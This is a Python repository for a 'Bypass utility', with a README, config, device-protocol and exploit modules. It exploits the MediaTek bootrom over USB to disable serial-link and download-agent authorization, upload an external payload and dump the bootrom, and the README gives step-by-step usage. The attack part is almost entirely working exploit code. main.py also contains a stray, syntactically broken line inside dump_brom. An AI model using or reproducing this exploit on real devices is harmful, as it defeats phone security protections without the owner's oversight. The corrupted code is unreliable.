├── .gitignore ├── src ├── logger.py ├── common.py ├── config.py ├── exploit.py └── device.py ├── LICENSE ├── README.md └── main.py /.gitignore: -------------------------------------------------------------------------------- 1 | bypass_utility.log 2 | src/__pycache__/ 3 | *.json5 4 | *.bin 5 | .idea 6 | -------------------------------------------------------------------------------- /src/logger.py: -------------------------------------------------------------------------------- 1 | import datetime 2 | 3 | 4 | def log(string): 5 | line = "[{}] {}".format(datetime.datetime.now(), string) 6 | print(line) 7 | 8 | with open("bypass_utility.log", "a") as out: 9 | out.write(line + "\n") 10 | -------------------------------------------------------------------------------- /src/common.py: -------------------------------------------------------------------------------- 1 | import struct 2 | 3 | 4 | def raise_(ex): 5 | raise ex 6 | 7 | 8 | def to_bytes(value, size=1, endian='>'): 9 | return { 10 | 1: lambda: struct.pack(endian + 'B', value), 11 | 2: lambda: struct.pack(endian + 'H', value), 12 | 4: lambda: struct.pack(endian + 'I', value) 13 | }.get(size, lambda: raise_(RuntimeError("invalid size")))() 14 | 15 | 16 | def from_bytes(value, size=1, endian='>'): 17 | return { 18 | 1: lambda: struct.unpack(endian + 'B', value)[0], 19 | 2: lambda: struct.unpack(endian + 'H', value)[0], 20 | 4: lambda: struct.unpack(endian + 'I', value)[0] 21 | }.get(size, lambda: raise_(RuntimeError("invalid size")))() 22 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Dinolek 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /src/config.py: -------------------------------------------------------------------------------- 1 | import json5 2 | 3 | 4 | class Config: 5 | watchdog_address: int = 0x10007000 6 | payload_address: int = 0x100A00 7 | var_0: int = None 8 | var_1: int = 0xA 9 | payload: str 10 | 11 | def default(self, hw_code): 12 | config = open("default_config.json5") 13 | self.from_file(config, hw_code) 14 | config.close() 15 | 16 | return self 17 | 18 | def from_file(self, config, hw_code): 19 | hw_code = hex(hw_code) 20 | 21 | config = json5.load(config) 22 | 23 | if hw_code in config: 24 | self.from_dict(config[hw_code]) 25 | else: 26 | raise NotImplementedError("Can't find {} hw_code in config".format(hw_code)) 27 | 28 | return self 29 | 30 | def from_dict(self, entry): 31 | if "watchdog_address" in entry: 32 | self.watchdog_address = entry["watchdog_address"] 33 | 34 | if "payload_address" in entry: 35 | self.payload_address = entry["payload_address"] 36 | 37 | if "var_0" in entry: 38 | self.var_0 = entry["var_0"] 39 | 40 | if "var_1" in entry: 41 | self.var_1 = entry["var_1"] 42 | 43 | self.payload = entry["payload"] 44 | 45 | return self 46 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Bypass utility 2 | Small utility to disable bootrom protection(sla and daa) 3 | 4 | ## Payloads 5 | https://github.com/MTK-bypass/exploits_collection 6 | 7 | ## Usage on Windows 8 | Skip steps 1-5 after first usage 9 | 10 | 1. Install [python](https://www.python.org/downloads)(select "Add Python X.X to PATH") 11 | 2. Install [libusb-win32](https://sourceforge.net/projects/libusb-win32/files/libusb-win32-releases/1.2.6.0/libusb-win32-devel-filter-1.2.6.0.exe/download) 12 | 3. Lunch filter wizard, click next 13 | 4. Connect powered off phone with volume+ button, you should see new serial device in the list. Select it and click install 14 | 5. Install pyusb, pyserial, json5 with command: 15 | ``` 16 | pip install pyusb pyserial json5 17 | ``` 18 | 6. Run this command and connect your powered off phone with volume+ button, you should get "Protection disabled" at the end 19 | ``` 20 | python main.py 21 | ``` 22 | 7. After that, without disconnecting phone, run SP Flash Tool 23 | 24 | 25 | ## Usage on Linux 26 | Skip steps 1-2 after first usage 27 | To use this you need [FireISO](https://github.com/amonet-kamakiri/fireiso/releases) or [this patch](https://github.com/amonet-kamakiri/kamakiri/blob/master/kernel.patch) for your kernel 28 | 29 | 1. Install python 30 | 2. Install pyusb, pyserial, json5 as root with command: 31 | ``` 32 | pip install pyusb pyserial json5 33 | ``` 34 | 3. Run this command as root and connect your powered off phone with volume+ button, you should get "Protection disabled" at the end 35 | ``` 36 | ./main.py 37 | ``` 38 | 4. After that, without disconnecting phone, run SP Flash Tool in UART Connection mode 39 | 40 | ## Credits 41 | - [@chaosmaster](https://github.com/chaosmaster) 42 | - [@xyzz](https://github.com/xyzz) 43 | -------------------------------------------------------------------------------- /src/exploit.py: -------------------------------------------------------------------------------- 1 | from src.common import to_bytes, from_bytes 2 | from serial.serialutil import SerialException 3 | 4 | import usb 5 | 6 | 7 | def exploit(device, watchdog_address, payload_address, var_0, var_1, payload): 8 | addr = watchdog_address + 0x50 9 | 10 | device.write32(addr, from_bytes(to_bytes(payload_address, 4), 4, '<')) 11 | if var_0: 12 | readl = var_0 + 0x4 13 | device.read32(addr - var_0, readl // 4) 14 | else: 15 | cnt = 15 16 | for i in range(cnt): 17 | device.read32(addr - (cnt - i) * 4, cnt - i + 1) 18 | 19 | # replace watchdog_address in generic payload 20 | payload = bytearray(payload) 21 | if from_bytes(payload[-4:], 4, '<') == 0x10007000: 22 | payload[-4:] = to_bytes(watchdog_address, 4, '<') 23 | payload = bytes(payload) 24 | 25 | while len(payload) % 4 != 0: 26 | payload += to_bytes(0) 27 | 28 | if len(payload) >= 0xA00: 29 | raise RuntimeError("payload too large") 30 | 31 | device.echo(0xE0) 32 | 33 | device.echo(len(payload), 4) 34 | 35 | # clear 2 bytes 36 | device.read(2) 37 | 38 | device.write(payload) 39 | 40 | # clear 4 bytes 41 | device.read(4) 42 | 43 | udev = usb.core.find(idVendor=0x0E8D, idProduct=0x3) 44 | 45 | try: 46 | # noinspection PyProtectedMember 47 | udev._ctx.managed_claim_interface = lambda *args, **kwargs: None 48 | except AttributeError as e: 49 | raise RuntimeError("libusb is not installed for port {}".format(device.dev.port)) from e 50 | 51 | try: 52 | udev.ctrl_transfer(0xA1, 0, 0, var_1, 0) 53 | except usb.core.USBError as e: 54 | print(e) 55 | 56 | # We don't need to wait long, if we succeeded 57 | try: 58 | device.dev.timeout = 1 59 | except: 60 | pass 61 | 62 | try: 63 | pattern = device.read(4) 64 | except SerialException as e: 65 | print(e) 66 | return False 67 | 68 | return pattern 69 | -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | #!/bin/python3 2 | 3 | from src.exploit import exploit 4 | from src.common import to_bytes 5 | from src.config import Config 6 | from src.device import Device 7 | from src.logger import log 8 | 9 | import argparse 10 | import os 11 | 12 | DEFAULT_CONFIG = "default_config.json5" 13 | PAYLOAD_DIR = "payloads/" 14 | 15 | 16 | def main(): 17 | parser = argparse.ArgumentParser() 18 | parser.add_argument("-c", "--config", help="Device config") 19 | parser.add_argument("-t", "--test", help="Testmode", action="store_true") 20 | parser.add_argument("-w", "--watchdog", help="Watchdog address(in hex) for testmode") 21 | parser.add_argument("-v", "--var_1", help="var_1 value(in hex) for testmode") 22 | parser.add_argument("-p", "--payload_address", help="payload_address value(in hex) for testmode") 23 | arguments = parser.parse_args() 24 | 25 | if arguments.config: 26 | if not os.path.exists(arguments.config): 27 | raise RuntimeError("Config file {} doesn't exist".format(arguments.config)) 28 | elif not os.path.exists(DEFAULT_CONFIG): 29 | raise RuntimeError("Default config is missing") 30 | 31 | device = Device().find() 32 | device.handshake() 33 | 34 | hw_code = device.get_hw_code() 35 | hw_sub_code, hw_ver, sw_ver = device.get_hw_dict() 36 | secure_boot, serial_link_authorization, download_agent_authorization = device.get_target_config() 37 | 38 | if arguments.config: 39 | config_file = open(arguments.config) 40 | config = Config().from_file(config_file, hw_code) 41 | config_file.close() 42 | else: 43 | try: 44 | config = Config().default(hw_code) 45 | except NotImplementedError as e: 46 | if arguments.test: 47 | config = Config() 48 | 49 | if arguments.var_1: 50 | config.var_1 = int(arguments.var_1, 16) 51 | if arguments.watchdog: 52 | config.watchdog_address = int(arguments.watchdog, 16) 53 | if arguments.payload_address: 54 | config.payload_address = int(arguments.payload_address, 16) 55 | 56 | config.payload = "generic_dump_payload.bin" 57 | 58 | log(e) 59 | else: 60 | raise e 61 | 62 | if not os.path.exists(PAYLOAD_DIR + config.payload): 63 | raise RuntimeError("Payload file {} doesn't exist".format(PAYLOAD_DIR + config.payload)) 64 | 65 | print() 66 | log("Device hw code: {}".format(hex(hw_code))) 67 | log("Device hw sub code: {}".format(hex(hw_sub_code))) 68 | log("Device hw version: {}".format(hex(hw_ver))) 69 | log("Device sw version: {}".format(hex(sw_ver))) 70 | log("Device secure boot: {}".format(secure_boot)) 71 | log("Device serial link authorization: {}".format(serial_link_authorization)) 72 | log("Device download agent authorization: {}".format(download_agent_authorization)) 73 | print() 74 | 75 | log("Disabling watchdog timer") 76 | device.write32(config.watchdog_address, 0x22000064) 77 | 78 | if serial_link_authorization or download_agent_authorization: 79 | log("Disabling protection") 80 | 81 | with open(PAYLOAD_DIR + config.payload, "rb") as payload: 82 | payload = payload.read() 83 | 84 | result = exploit(device, config.watchdog_address, config.payload_address, config.var_0, config.var_1, payload) 85 | if arguments.test: 86 | while not result: 87 | device.dev.close() 88 | config.var_1 += 1 89 | log("Test mode, testing " + hex(config.var_1) + "...") 90 | device = Device().find() 91 | device.handshake() 92 | result = exploit(device, config.watchdog_address, config.payload_address, 93 | config.var_0, config.var_1, payload) 94 | 95 | bootrom__name = "bootrom_" + hex(hw_code)[2:] + ".bin" 96 | 97 | if result == to_bytes(0xA1A2A3A4, 4): 98 | log("Protection disabled") 99 | elif result == to_bytes(0xC1C2C3C4, 4): 100 | dump_brom(device, bootrom__name) 101 | elif result == to_bytes(0x0000C1C2, 4) and device.read(4) == to_bytes(0xC1C2C3C4, 4): 102 | dump_brom(device, bootrom__name, True) 103 | 104 | 105 | def dump_brom(device, bootrom__name, word_mode=False): 106 | log("Found send_dword, dumping bootrom to {}".format(bootrom__name)) 107 | 108 | with open(bootrom__name, "wb") as bootrom: 109 | if word_mode: 110 | for i in range(0x20000 // 4): 111 | device.read(4) # discard garbage 112 | bootrom.write(device.read(4)) 113 | else: 114 | bootrom.write(device.read(0x20000)) 115 | parser.add_argument("-c", "--config", help="Device config") cph1803 116 | 117 | if __name__ == "__main__": 118 | main() 119 | -------------------------------------------------------------------------------- /src/device.py: -------------------------------------------------------------------------------- 1 | from src.common import to_bytes, from_bytes 2 | from src.logger import log 3 | 4 | import serial.tools.list_ports 5 | import time 6 | 7 | BAUD = 115200 8 | TIMEOUT = 5 9 | VID = "0E8D" 10 | PID = "0003" 11 | 12 | 13 | class Device: 14 | def __init__(self, port=None): 15 | self.dev = None 16 | if port: 17 | self.dev = serial.Serial(port, BAUD, timeout=TIMEOUT) 18 | 19 | def find(self): 20 | if self.dev: 21 | raise RuntimeError("Device already found") 22 | 23 | log("Waiting for bootrom") 24 | 25 | old = self.serial_ports() 26 | while True: 27 | new = self.serial_ports() 28 | 29 | # port added 30 | if new > old: 31 | port = (new - old).pop() 32 | break 33 | # port removed 34 | elif old > new: 35 | old = new 36 | 37 | time.sleep(0.25) 38 | 39 | log("Found port = {}".format(port)) 40 | 41 | self.dev = serial.Serial(port, BAUD, timeout=TIMEOUT) 42 | 43 | return self 44 | 45 | @staticmethod 46 | def serial_ports(): 47 | """ Lists available serial ports 48 | :returns: 49 | A set containing the serial ports available on the system 50 | """ 51 | 52 | result = set() 53 | ports = list(serial.tools.list_ports.comports()) 54 | for port in ports: 55 | if hasattr(port, "hwid"): 56 | port_hwid = port.hwid 57 | port_device = port.device 58 | else: 59 | port_hwid = port[2] 60 | port_device = port[0] 61 | if VID and PID in port_hwid: 62 | try: 63 | s = serial.Serial(port_device, timeout=TIMEOUT) 64 | s.close() 65 | result.add(port_device) 66 | except (OSError, serial.SerialException): 67 | pass 68 | 69 | return result 70 | 71 | @staticmethod 72 | def check(test, gold): 73 | if test != gold: 74 | if type(test) == bytes: 75 | test = "0x" + test.hex() 76 | else: 77 | test = hex(test) 78 | 79 | if type(gold) == bytes: 80 | gold = "0x" + gold.hex() 81 | else: 82 | gold = hex(gold) 83 | 84 | raise RuntimeError("Unexpected output, expected {} got {}".format(gold, test)) 85 | 86 | def handshake(self): 87 | self.write(0xA0) 88 | self.check(self.read(1), to_bytes(0x5F)) 89 | 90 | self.write(0x0A) 91 | self.check(self.read(1), to_bytes(0xF5)) 92 | 93 | self.write(0x50) 94 | self.check(self.read(1), to_bytes(0xAF)) 95 | 96 | self.write(0x05) 97 | self.check(self.read(1), to_bytes(0xFA)) 98 | 99 | def echo(self, words, size=1): 100 | self.write(words, size) 101 | self.check(from_bytes(self.read(size), size), words) 102 | 103 | def read(self, size=1): 104 | return self.dev.read(size) 105 | 106 | def read32(self, addr, size=1): 107 | result = [] 108 | 109 | self.echo(0xD1) 110 | self.echo(addr, 4) 111 | self.echo(size, 4) 112 | 113 | self.check(self.dev.read(2), to_bytes(0, 2)) # arg check 114 | 115 | for _ in range(size): 116 | data = from_bytes(self.dev.read(4), 4) 117 | result.append(data) 118 | 119 | self.check(self.dev.read(2), to_bytes(0, 2)) # status 120 | 121 | # support scalar 122 | if len(result) == 1: 123 | return result[0] 124 | else: 125 | return result 126 | 127 | def write(self, data, size=1): 128 | if type(data) != bytes: 129 | data = to_bytes(data, size) 130 | 131 | self.dev.write(data) 132 | 133 | def write32(self, addr, words, check_status=True): 134 | # support scalar 135 | if not isinstance(words, list): 136 | words = [words] 137 | 138 | self.echo(0xD4) 139 | self.echo(addr, 4) 140 | self.echo(len(words), 4) 141 | 142 | self.check(self.dev.read(2), to_bytes(1, 2)) # arg check 143 | 144 | for word in words: 145 | self.echo(word, 4) 146 | 147 | if check_status: 148 | self.check(self.dev.read(2), to_bytes(1, 2)) # status 149 | 150 | def get_target_config(self): 151 | self.echo(0xD8) 152 | 153 | target_config = self.dev.read(4) 154 | status = self.dev.read(2) 155 | 156 | if from_bytes(status, 2) != 0: 157 | raise RuntimeError("status is {}".format(status)) 158 | 159 | target_config = from_bytes(target_config, 4) 160 | 161 | secure_boot = target_config & 1 162 | serial_link_authorization = target_config & 2 163 | download_agent_authorization = target_config & 4 164 | 165 | # noinspection PyCallByClass 166 | return bool(secure_boot), bool(serial_link_authorization), bool(download_agent_authorization) 167 | 168 | def get_hw_code(self): 169 | self.echo(0xFD) 170 | 171 | hw_code = self.dev.read(2) 172 | status = self.dev.read(2) 173 | 174 | if from_bytes(status, 2) != 0: 175 | raise RuntimeError("status is {}".format(status)) 176 | 177 | return from_bytes(hw_code, 2) 178 | 179 | def get_hw_dict(self): 180 | self.echo(0xFC) 181 | 182 | hw_sub_code = self.dev.read(2) 183 | hw_ver = self.dev.read(2) 184 | sw_ver = self.dev.read(2) 185 | status = self.dev.read(2) 186 | 187 | if from_bytes(status, 2) != 0: 188 | raise RuntimeError("status is {}".format(status)) 189 | 190 | return from_bytes(hw_sub_code, 2), from_bytes(hw_ver, 2), from_bytes(sw_ver, 2) 191 | --------------------------------------------------------------------------------